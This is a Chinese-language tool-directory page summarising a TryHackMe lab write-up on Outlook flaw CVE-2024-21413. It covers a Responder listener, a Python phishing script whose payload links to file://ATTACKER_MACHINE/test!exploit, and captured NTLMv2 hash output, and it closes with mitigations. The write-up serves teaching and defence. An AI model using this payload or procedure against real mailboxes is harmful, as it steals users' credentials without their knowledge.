Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
tryhackme-monikerlink-writeup — TryHackMe Moniker Link (CVE-2024-21413) 演练:绕过 Outlook 受保护的视图,进而通过精心构造的 moniker 链接捕获 NTLMv2 哈希。 | Kitploit
工具/GitHubGitHub/omarmahmoud1024/tryhackme-monikerlink-writeup
钓鱼工具漏洞分析漏洞利用钓鱼攻击CTF学习与教育实验室与实践
GitHubomarmahmoud1024/tryhackme-monikerlink-writeup

tryhackme-monikerlink-writeup

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

TryHackMe Moniker Link (CVE-2024-21413) 演练:绕过 Outlook 受保护的视图,进而通过精心构造的 moniker 链接捕获 NTLMv2 哈希。

查看仓库
16天前尚未审核

TryHackMe:Moniker Link — CVE-2024-21413 演练

TryHackMe 的“Moniker Link”房间 的完整演练:将 2024 年 Microsoft Outlook 漏洞 CVE-2024-21413 武器化,在受害者点击钓鱼邮件中链接的瞬间窃取其 NTLMv2 哈希——不需要宏、不需要附件,也没有明显的安全警告。

CVE-2024-21413(“Moniker Link”)是 Outlook 验证使用 Windows OLE“moniker”语法的 file:// 链接时存在的一个漏洞(路径末尾多出一个 !,例如 file://host/share!something)。Outlook 本应通过受保护的视图(Protected View)打开外部文件链接,该视图会将文件放入沙箱,并在任何凭据泄露之前警告用户。多出的 ! 恰好足以破坏 Outlook 自身的 URL 解析器,使其完全跳过 Protected View,并将链接直接交给 Windows;由于该链接看起来像 UNC 路径,Windows 会静默尝试向攻击者的服务器进行 SMB 身份验证。这次身份验证尝试会在受害者仅仅点击了一个看似正常的链接、而除此之外什么都没做的情况下,就泄露其 NTLMv2 哈希。

房间结构

任务目标
1. 侦察理解该 CVE,以及 moniker 链接解析漏洞如何绕过 Protected View
2. 设置监听器启动 Responder,捕获外发的 SMB 身份验证
3. 武器化构造一封包含恶意 moniker 链接的钓鱼邮件
4. 投递将邮件发送到受害者邮箱
5. 捕获让受害者点击链接并捕获其 NTLMv2 哈希

演练

1. 设置监听器

root@kitploit:~
responder -I ens5

在发送任何内容之前,先在攻击机的接口上启动 Responder,并启用 LLMNR、NBT-NS 和 DNS 欺骗。真正捕获凭据泄露的就是这个过程:一旦漏洞利用诱使 Outlook 尝试向攻击者 IP 进行 SMB 身份验证,Responder 就会在另一端监听并截获它。

Responder 在 ens5 上监听

1. 侦察——受害者邮箱

目标是一个标准 Outlook 邮箱 [email protected],在钓鱼邮件到达前处于正常的收件箱视图——这是本房间其余步骤所基于的基线。

攻击前受害者的 Outlook 收件箱

3. 武器化——漏洞利用脚本

root@kitploit:~
sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>

该漏洞利用(CMNatic 公开的 CVE-2024-21413 PoC)是一个小型的 Python 脚本,通过 SMTP 构造并发送 HTML 邮件。有效载荷完全在一行之内:一个指向攻击者机器的 <a href="file://..."> 链接,路径末尾附加了 !exploit。这个尾部的 ! 就是整个漏洞所在——它恰好让 Outlook 的链接解析器错误分类该 URL,并跳过它对外部文件链接通常会执行的受保护视图检查。

nano 中的 exploit.py 源码

4. 投递——发送邮件

root@kitploit:~
python3 exploit.py
Enter your attacker email password: attacker
Email delivered

运行该脚本会向邮件服务器进行身份验证,并将构造好的邮件发送给受害者。Email delivered 确认它已成功离开攻击者的邮箱。

运行 exploit.py,邮件已发送

4. 投递——进入受害者收件箱

邮件到达 [email protected] 的收件箱,发件人为 CMNatic,主题为 CVE-2024-21413,其中只有一个显示为“Click me”的超链接——没有附件、没有宏警告,也没有任何通常会令钓鱼过滤器或谨慎用户起疑的内容。

受害者收件箱中收到的钓鱼邮件

5. 捕获——受害者点击链接

点击“Click me”会触发 Outlook 的 Windows 资源管理器错误对话框:“We can't find '\10.113.72.84\test!exploit'. Please make sure you're using the correct location or web address.” 这个错误实际上证明漏洞利用已经成功——当该对话框出现时,Windows 已经尝试通过 SMB 解析该 UNC 路径,并在此过程中已向 10.113.72.84(攻击机)完成身份验证。可见的失败只是资源管理器未能找到一个从未打算存在的共享;凭据泄露在错误弹窗出现之前就已经悄然发生。

点击链接后 Outlook 报出找不到 UNC 路径的错误

5. 捕获——Responder 中捕获的哈希

root@kitploit:~
[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash     : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...

回到攻击机,Responder 已经捕获了来自 10.113.150.143(受害者)的、针对 THM-MONIKERLINK\tryhackme 的完整 NTLMv2-SSP 握手。没有凭据提示、没有安全警告,用户除了点击一个看似普通的链接外什么也没做——就在 Outlook 错误处理 moniker 链接的那一刻,这个哈希已经可以被破解或中继。

Responder 捕获 NTLMv2 哈希

使用的工具

  • Responder — LLMNR/NBT-NS/DNS 欺骗与 SMB 身份验证捕获
  • 自定义 Python SMTP 脚本(CMNatic 的 CVE-2024-21413 PoC)——构造并发送恶意 moniker 链接邮件
  • Microsoft Outlook(受害者客户端) — 受影响组件;在微软 2024 年 2 月补丁之前受 CVE-2024-21413 影响的版本

关键要点

  • 一个尾随字符(!)就是整个漏洞。 CVE-2024-21413 很好地提醒我们,URL/路径解析器是绕过安全边界的常见来源——畸形输入不需要多复杂就能溜过检查,它只需落入检查未覆盖的代码路径即可。
  • 受保护的视图(Protected View)存在的目的正是阻止此类攻击,而该漏洞真正的影响是静默绕过它,而不是 NTLM 泄露本身——通过 file:// 链接捕获/中继 NTLM 是一种老技术;让这个 CVE 引人注意的是,Outlook 本不应在没有任何警告的情况下让链接触发。
  • NTLM 身份验证仅凭“尝试”就会泄露凭据,即使另一端的“共享”并不存在。受害者从未输入密码,也没有看到登录提示;Windows 在尝试(并失败)浏览 UNC 路径的过程中,自动交出了 NTLMv2 哈希。
  • 从受害者角度看,这是一种接近零点击的攻击——只需点击一个没有附件、没有宏、也没有明显危险信号的链接就足够了。安装补丁(微软已在 2024 年 2 月更新中修复)以及禁止向不受信任主机进行出站 NTLM 身份验证,才是两种真正有效的缓解措施;仅靠用户培训无法阻止这一攻击,因为邮件本身没有任何异常。
下载工具